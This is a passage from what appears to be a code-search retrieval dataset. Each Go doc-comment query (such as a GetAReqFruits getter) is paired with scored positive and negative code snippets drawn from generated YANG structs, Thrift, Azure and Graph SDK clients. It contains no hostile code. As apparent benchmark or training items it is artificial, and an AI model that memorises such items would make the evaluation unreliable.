(*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Lsp) IsYANGGoStruct() {}", "title": "" }, { "docid": "bd1a38e14c70359f788ab62fa51d77c3", "score": "0.879983", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Lsp) IsYANGGoStruct() {}", "title": "" }, { "docid": "bd1a38e14c70359f788ab62fa51d77c3", "score": "0.8799011", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Lsp) IsYANGGoStruct() {}", "title": "" }, { "docid": "db70841d5532cddeb82a4bee7569c131", "score": "0.87625295", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Esh) IsYANGGoStruct() {}", "title": "" }, { "docid": "db70841d5532cddeb82a4bee7569c131", "score": "0.876159", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Esh) IsYANGGoStruct() {}", "title": "" }, { "docid": "db70841d5532cddeb82a4bee7569c131", "score": "0.876159", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Esh) IsYANGGoStruct() {}", "title": "" }, { "docid": "a1bf538cc25163412a3c238f359951ec", "score": "0.8695816", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Unknown) IsYANGGoStruct() {}", "title": "" }, { "docid": "a1bf538cc25163412a3c238f359951ec", "score": "0.8695814", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Unknown) IsYANGGoStruct() {}", "title": "" }, { "docid": "a1bf538cc25163412a3c238f359951ec", "score": "0.8695814", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Unknown) IsYANGGoStruct() {}", "title": "" }, { "docid": "cab942db59316bee8f69ffe119d1d9aa", "score": "0.8560784", "text": "func (*NetworkInstance_Protocol_Pim_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "0142ea911b892fef0b10747f33af58bf", "score": "0.85299736", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Csnp) IsYANGGoStruct() {}", "title": "" }, { "docid": "0142ea911b892fef0b10747f33af58bf", "score": "0.85290515", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Csnp) IsYANGGoStruct() {}", "title": "" }, { "docid": "0142ea911b892fef0b10747f33af58bf", "score": "0.85290515", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Csnp) IsYANGGoStruct() {}", "title": "" }, { "docid": "d22f5caaa859dac40c69ba2e4ea161bf", "score": "0.845212", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Psnp) IsYANGGoStruct() {}", "title": "" }, { "docid": "d22f5caaa859dac40c69ba2e4ea161bf", "score": "0.84502244", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Psnp) IsYANGGoStruct() {}", "title": "" }, { "docid": "d22f5caaa859dac40c69ba2e4ea161bf", "score": "0.8449198", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level_PacketCounters_Psnp) IsYANGGoStruct() {}", "title": "" }, { "docid": "d8be5e0a0eb38bc176373f65116cd0f7", "score": "0.84038556", "text": "func (*NetworkInstance_Protocol_Igmp_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "4fea5904a02f8d8d150f630623e02501", "score": "0.8277904", "text": "func (*NetworkInstance_Mpls_SignalingProtocols_Ldp_InterfaceAttributes_Interface_Counters) IsYANGGoStruct() {\n}", "title": "" }, { "docid": "d877200d8f99fe19076ef489eacb7d13", "score": "0.8266885", "text": "func (*NetworkInstance_Protocol_Isis_Interface_CircuitCounters) IsYANGGoStruct() {}", "title": "" }, { "docid": "d877200d8f99fe19076ef489eacb7d13", "score": "0.8266885", "text": "func (*NetworkInstance_Protocol_Isis_Interface_CircuitCounters) IsYANGGoStruct() {}", "title": "" }, { "docid": "d877200d8f99fe19076ef489eacb7d13", "score": "0.8266885", "text": "func (*NetworkInstance_Protocol_Isis_Interface_CircuitCounters) IsYANGGoStruct() {}", "title": "" }, { "docid": "903ce815ca95db405c1e543f99334d25", "score": "0.81812954", "text": "func (*OpenconfigInterfaces_Interfaces_Interface_State_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "903ce815ca95db405c1e543f99334d25", "score": "0.81812954", "text": "func (*OpenconfigInterfaces_Interfaces_Interface_State_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "da3f60b1e71d2d83f9ef74cdb29ccf82", "score": "0.81630504", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level) IsYANGGoStruct() {}", "title": "" }, { "docid": "da3f60b1e71d2d83f9ef74cdb29ccf82", "score": "0.81630504", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level) IsYANGGoStruct() {}", "title": "" }, { "docid": "da3f60b1e71d2d83f9ef74cdb29ccf82", "score": "0.81630504", "text": "func (*NetworkInstance_Protocol_Isis_Interface_Level) IsYANGGoStruct() {}", "title": "" }, { "docid": "9a26e4a5468fc9b0da21012460efc1e1", "score": "0.8129913", "text": "func (*Lldp_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "9a26e4a5468fc9b0da21012460efc1e1", "score": "0.8129913", "text": "func (*Lldp_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "f7c78a16509ffd1d71a5b166ec7def4c", "score": "0.811035", "text": "func (*NetworkInstance_Protocol_Pim_Global_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "aff750e92638c3dc6dd3aa9833d4974d", "score": "0.8094873", "text": "func (*Interface_Ethernet_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "aff750e92638c3dc6dd3aa9833d4974d", "score": "0.8094248", "text": "func (*Interface_Ethernet_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "b4772a6bdbfd8e6a0ce657530a76c8f9", "score": "0.80852526", "text": "func (*NetworkInstance_Mpls_SignalingProtocols_RsvpTe_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "b4772a6bdbfd8e6a0ce657530a76c8f9", "score": "0.8083945", "text": "func (*NetworkInstance_Mpls_SignalingProtocols_RsvpTe_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "b4772a6bdbfd8e6a0ce657530a76c8f9", "score": "0.8083945", "text": "func (*NetworkInstance_Mpls_SignalingProtocols_RsvpTe_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "30845320b2bcc50913d1c71d2bbaa319", "score": "0.8083314", "text": "func (*Interface_Subinterface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "30845320b2bcc50913d1c71d2bbaa319", "score": "0.8083314", "text": "func (*Interface_Subinterface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "2e2307e7e9bf6c2940bde1e71b0bb018", "score": "0.80817235", "text": "func (*OpenconfigLldp_Lldp_Interfaces_Interface_State_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "6189bba79f85a1811255a3c79f52b405", "score": "0.8078601", "text": "func (*Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "6189bba79f85a1811255a3c79f52b405", "score": "0.8078601", "text": "func (*Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "8ee371407cdeb3f6d0ab5fc77676dc16", "score": "0.8052506", "text": "func (*Stp_Vlan_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "8ee371407cdeb3f6d0ab5fc77676dc16", "score": "0.80524814", "text": "func (*Stp_Vlan_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "8ee371407cdeb3f6d0ab5fc77676dc16", "score": "0.80524814", "text": "func (*Stp_Vlan_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "25243049c6c11ea326e5724bb885cdce", "score": "0.801246", "text": "func (*OpenconfigInterfaces_Interfaces_Interface_Ethernet_State_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "c26315a000977b7a1275844334b766a8", "score": "0.79885703", "text": "func (*Mpls_SignalingProtocols_RsvpTe_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "c26315a000977b7a1275844334b766a8", "score": "0.7987581", "text": "func (*Mpls_SignalingProtocols_RsvpTe_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "ee4ee8bfe2db914beb248cd9717c8b39", "score": "0.79491276", "text": "func (*OpenconfigInterfaces_Interfaces_Interface_Subinterfaces_Subinterface_State_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "155efb3efdb47883eefabbc32834686b", "score": "0.79123527", "text": "func (*OpenconfigInterfaces_Interfaces_Interface_Subinterfaces_Subinterface_State_Counters) IsYANGGoStruct() {\n}", "title": "" }, { "docid": "ca9f57f2b703dabe8f58c6f030870478", "score": "0.7892346", "text": "func (*Stp_Mstp_MstInstance_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "ca9f57f2b703dabe8f58c6f030870478", "score": "0.7892346", "text": "func (*Stp_Mstp_MstInstance_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "ca9f57f2b703dabe8f58c6f030870478", "score": "0.7892346", "text": "func (*Stp_Mstp_MstInstance_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "c327e26e9317471584f16364ce930dcd", "score": "0.7850041", "text": "func (*Interface_Subinterface_Ipv4_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "b1c747836e010ca4ce6a13319503ea35", "score": "0.78463936", "text": "func (*Stp_Rstp_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "b1c747836e010ca4ce6a13319503ea35", "score": "0.78463936", "text": "func (*Stp_Rstp_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "b1c747836e010ca4ce6a13319503ea35", "score": "0.78459704", "text": "func (*Stp_Rstp_Interface_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "25d63136b8b1fe41f43172a8a9ade696", "score": "0.78206563", "text": "func (*Lldp_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "25d63136b8b1fe41f43172a8a9ade696", "score": "0.78206563", "text": "func (*Lldp_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "8c4bcc58db054863bcdef3d073f32059", "score": "0.77526194", "text": "func (*NetworkInstance_Protocol_Pim_Interface) IsYANGGoStruct() {}", "title": "" }, { "docid": "0869395c95688f39a872f5697fd255d2", "score": "0.7745052", "text": "func (*NetworkInstance_Protocol_Isis_Level) IsYANGGoStruct() {}", "title": "" }, { "docid": "0869395c95688f39a872f5697fd255d2", "score": "0.7745052", "text": "func (*NetworkInstance_Protocol_Isis_Level) IsYANGGoStruct() {}", "title": "" }, { "docid": "0869395c95688f39a872f5697fd255d2", "score": "0.7743951", "text": "func (*NetworkInstance_Protocol_Isis_Level) IsYANGGoStruct() {}", "title": "" }, { "docid": "ebc189ba4a0fabaf319d584c54e351ac", "score": "0.77340865", "text": "func (*NetworkInstance_Protocol_Isis_Level_SystemLevelCounters) IsYANGGoStruct() {}", "title": "" }, { "docid": "ebc189ba4a0fabaf319d584c54e351ac", "score": "0.77340865", "text": "func (*NetworkInstance_Protocol_Isis_Level_SystemLevelCounters) IsYANGGoStruct() {}", "title": "" }, { "docid": "ebc189ba4a0fabaf319d584c54e351ac", "score": "0.77340865", "text": "func (*NetworkInstance_Protocol_Isis_Level_SystemLevelCounters) IsYANGGoStruct() {}", "title": "" }, { "docid": "3532e6475d5d22e98fb58be1c6e5166d", "score": "0.7733771", "text": "func (*Lacp_Interface_Member_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "3532e6475d5d22e98fb58be1c6e5166d", "score": "0.7732918", "text": "func (*Lacp_Interface_Member_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "19b613c777ffb3a177407e085e521bd5", "score": "0.7729916", "text": "func (*NetworkInstance_Protocol_Igmp_Interface_Counters_Reports) IsYANGGoStruct() {}", "title": "" }, { "docid": "008031439b5116f184a2e8011910b3cf", "score": "0.7677203", "text": "func (*NetworkInstance_Protocol_Isis_Interface) IsYANGGoStruct() {}", "title": "" }, { "docid": "008031439b5116f184a2e8011910b3cf", "score": "0.7677203", "text": "func (*NetworkInstance_Protocol_Isis_Interface) IsYANGGoStruct() {}", "title": "" }, { "docid": "008031439b5116f184a2e8011910b3cf", "score": "0.7676825", "text": "func (*NetworkInstance_Protocol_Isis_Interface) IsYANGGoStruct() {}", "title": "" }, { "docid": "db24c674e3766ddf7177024c243bb0b5", "score": "0.7673217", "text": "func (*Interface_RoutedVlan_Ipv4_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "f041a6d545e87bed49f07cb484993924", "score": "0.7668354", "text": "func (*Interface_Subinterface_Ipv6_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "b23462361a4e7f3661426474fcabc4f0", "score": "0.7658972", "text": "func (*Interface_RoutedVlan_Ipv6_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "f287f41ff2e7cfa625c7bc0cb11c682b", "score": "0.75937486", "text": "func (*OpenconfigLldp_Lldp_State_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "95b2d7d32d5ca5f2085f4cdabd23af0a", "score": "0.75915855", "text": "func (*NetworkInstance_Protocol_Igmp_Interface_Group) IsYANGGoStruct() {}", "title": "" }, { "docid": "22c796a3016f915ee859a13d3fb4b68e", "score": "0.75798815", "text": "func (*NetworkInstance_Protocol_Igmp_Interface) IsYANGGoStruct() {}", "title": "" }, { "docid": "c4279f37d71275a7bf8309ddc757dc7c", "score": "0.7575687", "text": "func (*Mpls_Lsps_ConstrainedPath_Tunnel_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "c4279f37d71275a7bf8309ddc757dc7c", "score": "0.7574384", "text": "func (*Mpls_Lsps_ConstrainedPath_Tunnel_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "c225786e5b18d82afe8a18d76c2109b3", "score": "0.75634944", "text": "func (*System_Aaa_ServerGroup_Server_Radius_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "c225786e5b18d82afe8a18d76c2109b3", "score": "0.75634944", "text": "func (*System_Aaa_ServerGroup_Server_Radius_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "c225786e5b18d82afe8a18d76c2109b3", "score": "0.75634944", "text": "func (*System_Aaa_ServerGroup_Server_Radius_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "d8baf253f43e41e421dda843c1e6f7f6", "score": "0.7555323", "text": "func (*NetworkInstance_Protocol_Pim_Interface_InterfaceRef) IsYANGGoStruct() {}", "title": "" }, { "docid": "497bf79da89051c814624e2f8d09ed28", "score": "0.7547493", "text": "func (*NetworkInstance_Mpls_SignalingProtocols_Ldp_InterfaceAttributes_Interface) IsYANGGoStruct() {}", "title": "" }, { "docid": "796167b89d45919c0b9e0e7de4fd6658", "score": "0.75373363", "text": "func (*OpenconfigTerminalDevice_TerminalDevice_LogicalChannels_Channel_Ethernet_Lldp_State_Counters) IsYANGGoStruct() {\n}", "title": "" }, { "docid": "5d38d27b03d7d5e80b2efc19090d4fd9", "score": "0.75348014", "text": "func (*OpenconfigLldp_Lldp_Interfaces_Interface) IsYANGGoStruct() {}", "title": "" }, { "docid": "a6210acf2d3ce5681fdc52858bd43c10", "score": "0.7532826", "text": "func (*NetworkInstance_Protocol_Igmp_Interface_InterfaceRef) IsYANGGoStruct() {}", "title": "" }, { "docid": "26583913b3c635159cf551da9ffba38a", "score": "0.75192326", "text": "func (*Mpls_SignalingProtocols_RsvpTe_Global_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "5f182a7b4ffb853ca83620ddfd77cc88", "score": "0.75189734", "text": "func (*NetworkInstance_Mpls_SignalingProtocols_RsvpTe_Global_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "5f182a7b4ffb853ca83620ddfd77cc88", "score": "0.75189734", "text": "func (*NetworkInstance_Mpls_SignalingProtocols_RsvpTe_Global_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "5f182a7b4ffb853ca83620ddfd77cc88", "score": "0.75187093", "text": "func (*NetworkInstance_Mpls_SignalingProtocols_RsvpTe_Global_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "26583913b3c635159cf551da9ffba38a", "score": "0.7517163", "text": "func (*Mpls_SignalingProtocols_RsvpTe_Global_Counters) IsYANGGoStruct() {}", "title": "" }, { "docid": "85b91d0673048a76a5e3a54364b695cc", "score": "0.7498042", "text": "func (*NetworkInstance_Mpls_SignalingProtocols_Ldp_InterfaceAttributes) IsYANGGoStruct() {}", "title": "" }, { "docid": "bfa804122f182b311307a902ccffb765", "score": "0.7490474", "text": "func (*NetworkInstance_Mpls_Lsps_ConstrainedPath_Tunnel_Counters) IsYANGGoStruct() {}", "title": "" } ]
672fd301f8b5e3e007b0cfdd62e108c1
GetAReqFruits returns the value of AReqFruits if it is set or its zero value if it is unset.
[ { "docid": "320442a32839f80d3bf23508717b5b21", "score": "0.79133403", "text": "func (v *Bar_ArgWithManyQueryParams_Args) GetAReqFruits() (o []Fruit) {\n\tif v != nil {\n\t\to = v.AReqFruits\n\t}\n\treturn\n}", "title": "" } ]
[ { "docid": "936fa97cad31cd176578241231b576cd", "score": "0.6244759", "text": "func (v *Bar_ArgWithManyQueryParams_Args) IsSetAReqFruits() bool {\n\treturn v != nil && v.AReqFruits != nil\n}", "title": "" }, { "docid": "0b1e177817caead7c80e2d59dbef8d01", "score": "0.5892016", "text": "func (v *Bar_ArgWithManyQueryParams_Args) GetAnOptFruit() (o Fruit) {\n\tif v != nil && v.AnOptFruit != nil {\n\t\treturn *v.AnOptFruit\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "d58f329488668f56272d25d546d38e1f", "score": "0.4692611", "text": "func (r *ChatInstalledAppsCollectionRequest) Get(ctx context.Context) ([]TeamsAppInstallation, error) {\n\treturn r.GetN(ctx, 0)\n}", "title": "" }, { "docid": "cd54f0a27e9b724b8e5bacb2c87a6a67", "score": "0.46210894", "text": "func (v *Bar_ArgWithManyQueryParams_Args) GetAReqDemo() (o DemoType) {\n\tif v != nil {\n\t\to = v.AReqDemo\n\t}\n\treturn\n}", "title": "" }, { "docid": "b293252aedcf8d33b00ec49b8a3489ca", "score": "0.4609028", "text": "func (v *Bar_ArgWithManyQueryParams_Args) IsSetAnOptFruit() bool {\n\treturn v != nil && v.AnOptFruit != nil\n}", "title": "" }, { "docid": "b6e0c48f36dd6cb4b5e29cee43be26e8", "score": "0.44526383", "text": "func (c *APIClient) GetUserAvailableMFAFactors(ctx _context.Context, id int32) apiGetUserAvailableMFAFactorsRequest {\n\treturn apiGetUserAvailableMFAFactorsRequest{\n\t\tclient: c,\n\t\tctx: ctx,\n\t\tid: id,\n\t}\n}", "title": "" }, { "docid": "0ce90981f99b4506112b3923d993d7bb", "score": "0.4227092", "text": "func (client DictionaryClient) GetArrayItemNullSender(req *http.Request) (*http.Response, error) {\n return autorest.SendWithSender(client, req)\n}", "title": "" }, { "docid": "8823c7b6ba0ca40516ee144f21d635eb", "score": "0.41386735", "text": "func (client ArrayClient) GetArrayItemNullSender(req *http.Request) (*http.Response, error) {\n return autorest.SendWithSender(client, req)\n}", "title": "" }, { "docid": "7eeac04d3f34c49066e0f92f76926a29", "score": "0.41376042", "text": "func (client DictionaryClient) GetArrayItemEmptySender(req *http.Request) (*http.Response, error) {\n return autorest.SendWithSender(client, req)\n}", "title": "" }, { "docid": "30c2cd8b81c635002c5fa5ccaf9b48cf", "score": "0.41343418", "text": "func (m *ItemAppConsentRequestsForApprovalItemUserConsentRequestsUserConsentRequestItemRequestBuilder) Get(ctx context.Context, requestConfiguration *ItemAppConsentRequestsForApprovalItemUserConsentRequestsUserConsentRequestItemRequestBuilderGetRequestConfiguration)(ie233ee762e29b4ba6970aa2a2efce4b7fde11697ca9ea81099d0f8269309c1be.UserConsentRequestable, error) {\n requestInfo, err := m.ToGetRequestInformation(ctx, requestConfiguration);\n if err != nil {\n return nil, err\n }\n errorMapping := i2ae4187f7daee263371cb1c977df639813ab50ffa529013b7437480d1ec0158f.ErrorMappings {\n \"4XX\": i20a3050780ee0b0cde0a884a4f35429a20d60067e3bcda382ec5400079147459.CreateODataErrorFromDiscriminatorValue,\n \"5XX\": i20a3050780ee0b0cde0a884a4f35429a20d60067e3bcda382ec5400079147459.CreateODataErrorFromDiscriminatorValue,\n }\n res, err := m.BaseRequestBuilder.RequestAdapter.Send(ctx, requestInfo, ie233ee762e29b4ba6970aa2a2efce4b7fde11697ca9ea81099d0f8269309c1be.CreateUserConsentRequestFromDiscriminatorValue, errorMapping)\n if err != nil {\n return nil, err\n }\n if res == nil {\n return nil, nil\n }\n return res.(ie233ee762e29b4ba6970aa2a2efce4b7fde11697ca9ea81099d0f8269309c1be.UserConsentRequestable), nil\n}", "title": "" }, { "docid": "2e0a90c2ffd3037ea716af5d2cdee6c5", "score": "0.41208646", "text": "func (m *BookingAppointment) GetFilledAttendeesCount()(*int32) {\n val, err := m.GetBackingStore().Get(\"filledAttendeesCount\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*int32)\n }\n return nil\n}", "title": "" }, { "docid": "9636f848f0427bc173d926c22f0fdf5b", "score": "0.411114", "text": "func (o *GuessNutritionByDishName200Response) GetFat() GuessNutritionByDishName200ResponseCalories {\n\tif o == nil {\n\t\tvar ret GuessNutritionByDishName200ResponseCalories\n\t\treturn ret\n\t}\n\n\treturn o.Fat\n}", "title": "" }, { "docid": "b2ab22b2f227c3488fc8b69d8f2ed9e1", "score": "0.4108101", "text": "func (_TellorGetters *TellorGettersCaller) GetRequestQ(opts *bind.CallOpts) ([51]*big.Int, error) {\n\tvar (\n\t\tret0 = new([51]*big.Int)\n\t)\n\tout := ret0\n\terr := _TellorGetters.contract.Call(opts, out, \"getRequestQ\")\n\treturn *ret0, err\n}", "title": "" }, { "docid": "c9198aa05ff3e4b593fab20b5e5b28ab", "score": "0.40548262", "text": "func GetFibonacci( w http.ResponseWriter, r *http.Request ){\n\t// Retrieve the query by url.ParseQuery\n\t// the queryForm[query_key][0] should be the value like 123 in '?num=123'\n\tcnt, err := getQueryParam( r );\n\tif( err != nil ) {\n\t\tbadRequestResp( cnt, w, r, err ); // not elegant enough...\n\t\treturn;\n\t}\n\n\tif( cnt < 0 ){\n\t\t// negative value, report error\n\t\tbadRequestResp( cnt, w, r, nil );\n\t\treturn;\n\t} else{\n\t\tfmt.Println(\"valid user input, total num =\",cnt);\n\t\t// valid input, call the fib.Fibonacci() and response\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=utf-8\") // specific header: json reponse\n\t\t//fib_string := fib.Array2String( fib.Fibonacci( uint64(cnt) ) )\n\t\tfib_slice := fib.Fibonacci( uint64(cnt))\n\t\tio.WriteString(w, returnJson( fib_slice ) )\n\t}\n}", "title": "" }, { "docid": "f4c3ab6f00f4d2de4d91428ecc8c8316", "score": "0.40516016", "text": "func (a *FeatureFlagsApiService) FeatureflagsGet(ctx _context.Context) ApiFeatureflagsGetRequest {\n\treturn ApiFeatureflagsGetRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t}\n}", "title": "" }, { "docid": "2af572a7fab53a42ce09cba3ac035346", "score": "0.40484014", "text": "func GetFcRecommendations() (settings []*Recommendation, err error) {\n\tlog.Trace(\"GetFcRecommendations called\")\n\tvar recommendations []*Recommendation\n\n\tvar isVM bool\n\t// identify if running as a virtual machine\n\tisVM, err = linux.IsVirtualMachine()\n\tif err != nil {\n\t\tlog.Error(\"unable to determine if system is running as a virtual machine \", err.Error())\n\t\treturn nil, err\n\t}\n\tif isVM {\n\t\tlog.Error(\"system is running as a virtual machine. Skipping FC recommendations\")\n\t\treturn nil, err\n\t}\n\n\t// identify adapter type\n\t_, module, err := getFcAdapterType()\n\tif err != nil {\n\t\tlog.Error(\"Unable to find FC adpter type \", err.Error())\n\t\treturn nil, err\n\t}\n\n\trecommendations, err = getFcAdapterParamRecommendations(module)\n\tif err != nil {\n\t\tlog.Error(\"Unable to get FC adapter param recommendations \", err.Error())\n\t\treturn nil, err\n\t}\n\treturn recommendations, err\n}", "title": "" }, { "docid": "09599b024e83b0613d6176bb3f744e9e", "score": "0.4046286", "text": "func (m Message) GetApplResendFlag(f *field.ApplResendFlagField) quickfix.MessageRejectError {\n\treturn m.Body.Get(f)\n}", "title": "" }, { "docid": "09599b024e83b0613d6176bb3f744e9e", "score": "0.4046286", "text": "func (m Message) GetApplResendFlag(f *field.ApplResendFlagField) quickfix.MessageRejectError {\n\treturn m.Body.Get(f)\n}", "title": "" }, { "docid": "984c9c97ef68d5917e5ccf2309b61cc4", "score": "0.40329742", "text": "func (client ArrayClient) GetArrayItemEmptySender(req *http.Request) (*http.Response, error) {\n return autorest.SendWithSender(client, req)\n}", "title": "" }, { "docid": "767a7a019c31c1dfb2a7a564c9d0dcd9", "score": "0.40117553", "text": "func (r *Resolver) Fruit() FruitResolver { return &fruitResolver{r} }", "title": "" }, { "docid": "f939dacffbc3a429656f09cb4bdcbd27", "score": "0.4005304", "text": "func (e *EvilWallet) RequestFundsFromFaucet(options ...FaucetRequestOption) (initWallet *Wallet, err error) {\n\tinitWallet = e.NewWallet(Fresh)\n\tbuildOptions := NewFaucetRequestOptions(options...)\n\n\toutputID, err := e.requestFaucetFunds(initWallet)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif buildOptions.outputAliasName != \"\" {\n\t\tinput := devnetvm.NewUTXOInput(outputID)\n\t\te.aliasManager.AddInputAlias(input, buildOptions.outputAliasName)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "934bd6997076efe05a57259d3468d6f6", "score": "0.3982348", "text": "func GetApplicationSetting(rq *orm.RequestQuery) (m *[]model.ApplicationSetting, total int64, err error) {\n\t// make new orm query\n\tq, _ := rq.Query(new(model.ApplicationSetting))\n\n\t// get total data\n\tif total, err = q.Count(); err != nil || total == 0 {\n\t\treturn nil, total, err\n\t}\n\n\t// get data requested\n\tvar mx []model.ApplicationSetting\n\tif _, err = q.All(&mx, rq.Fields...); err == nil {\n\t\treturn &mx, total, nil\n\t}\n\n\t// return error some thing went wrong\n\treturn nil, total, err\n}", "title": "" }, { "docid": "89b625d18d8aad6d16c7e024170ecefd", "score": "0.39822623", "text": "func (o *GuessNutritionByDishName200Response) GetRecipesUsed() int32 {\n\tif o == nil {\n\t\tvar ret int32\n\t\treturn ret\n\t}\n\n\treturn o.RecipesUsed\n}", "title": "" }, { "docid": "911da572bb9be280ab033df1967d0123", "score": "0.3977104", "text": "func (d FruitAPIController) GetOne(c echo.Context) error {\n\tid, err := strconv.ParseInt(c.Param(\"id\"), 10, 64)\n\tif err != nil {\n\t\treturn renderFail(c, api.ErrorParameterParsingFailed.New(err, fmt.Sprintf(\"id:%v\", c.Param(\"id\"))))\n\t}\n\n\t_, fruit, err := models.Fruit{}.GetById(c.Request().Context(), id)\n\tif err != nil {\n\t\treturn renderFail(c, api.ErrorDB.New(err))\n\t}\n\tif fruit.Id == 0 {\n\t\treturn renderFail(c, api.ErrorNotFound.New(nil))\n\t}\n\treturn renderSucc(c, http.StatusOK, fruit)\n}", "title": "" }, { "docid": "1fbca5f70a0c28063c6246aa8bda1bc9", "score": "0.39710057", "text": "func (o *ScopeApplication) GetFifosOk() (*[]string, bool) {\n\tif o == nil || o.Fifos == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Fifos, true\n}", "title": "" }, { "docid": "c8766e5233a198d1dcfd759197f44234", "score": "0.3967418", "text": "func GetRestaurants(w http.ResponseWriter, r *http.Request) {\n\tvar res model.Restaurant\n\n\toutput, err := res.GetData()\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tmodel.JsonResponseError(w, err)\n\t\treturn\n\t}\n\n\tmodel.JsonResponseAny(w, output)\n}", "title": "" }, { "docid": "558e4c33be21d2d63d67d2aba3b45988", "score": "0.3963764", "text": "func (client ArrayClient) GetArrayItemNull() (result ListListString, err error) {\n req, err := client.GetArrayItemNullPreparer()\n if err != nil {\n return result, autorest.NewErrorWithError(err, \"arraygroup.ArrayClient\", \"GetArrayItemNull\", nil , \"Failure preparing request\")\n }\n\n resp, err := client.GetArrayItemNullSender(req)\n if err != nil {\n result.Response = autorest.Response{Response: resp}\n return result, autorest.NewErrorWithError(err, \"arraygroup.ArrayClient\", \"GetArrayItemNull\", resp, \"Failure sending request\")\n }\n\n result, err = client.GetArrayItemNullResponder(resp)\n if err != nil {\n err = autorest.NewErrorWithError(err, \"arraygroup.ArrayClient\", \"GetArrayItemNull\", resp, \"Failure responding to request\")\n }\n\n return\n}", "title": "" }, { "docid": "d096bfc1e1249951d39ccee599c4aecb", "score": "0.39617506", "text": "func (_e *RequesterArgSameAsNamedImport_Expecter) Get(_a0 interface{}) *RequesterArgSameAsNamedImport_Get_Call {\n\treturn &RequesterArgSameAsNamedImport_Get_Call{Call: _e.mock.On(\"Get\", _a0)}\n}", "title": "" }, { "docid": "6cbc6b53c17dcaea489b4d6e1fcf6052", "score": "0.39567742", "text": "func (m Message) GetOptAttribute(f *field.OptAttributeField) quickfix.MessageRejectError {\n\treturn m.Body.Get(f)\n}", "title": "" }, { "docid": "6cbc6b53c17dcaea489b4d6e1fcf6052", "score": "0.39567742", "text": "func (m Message) GetOptAttribute(f *field.OptAttributeField) quickfix.MessageRejectError {\n\treturn m.Body.Get(f)\n}", "title": "" }, { "docid": "6cbc6b53c17dcaea489b4d6e1fcf6052", "score": "0.39567742", "text": "func (m Message) GetOptAttribute(f *field.OptAttributeField) quickfix.MessageRejectError {\n\treturn m.Body.Get(f)\n}", "title": "" }, { "docid": "55e4c29c8c1dc6da6a292479550b5356", "score": "0.39504734", 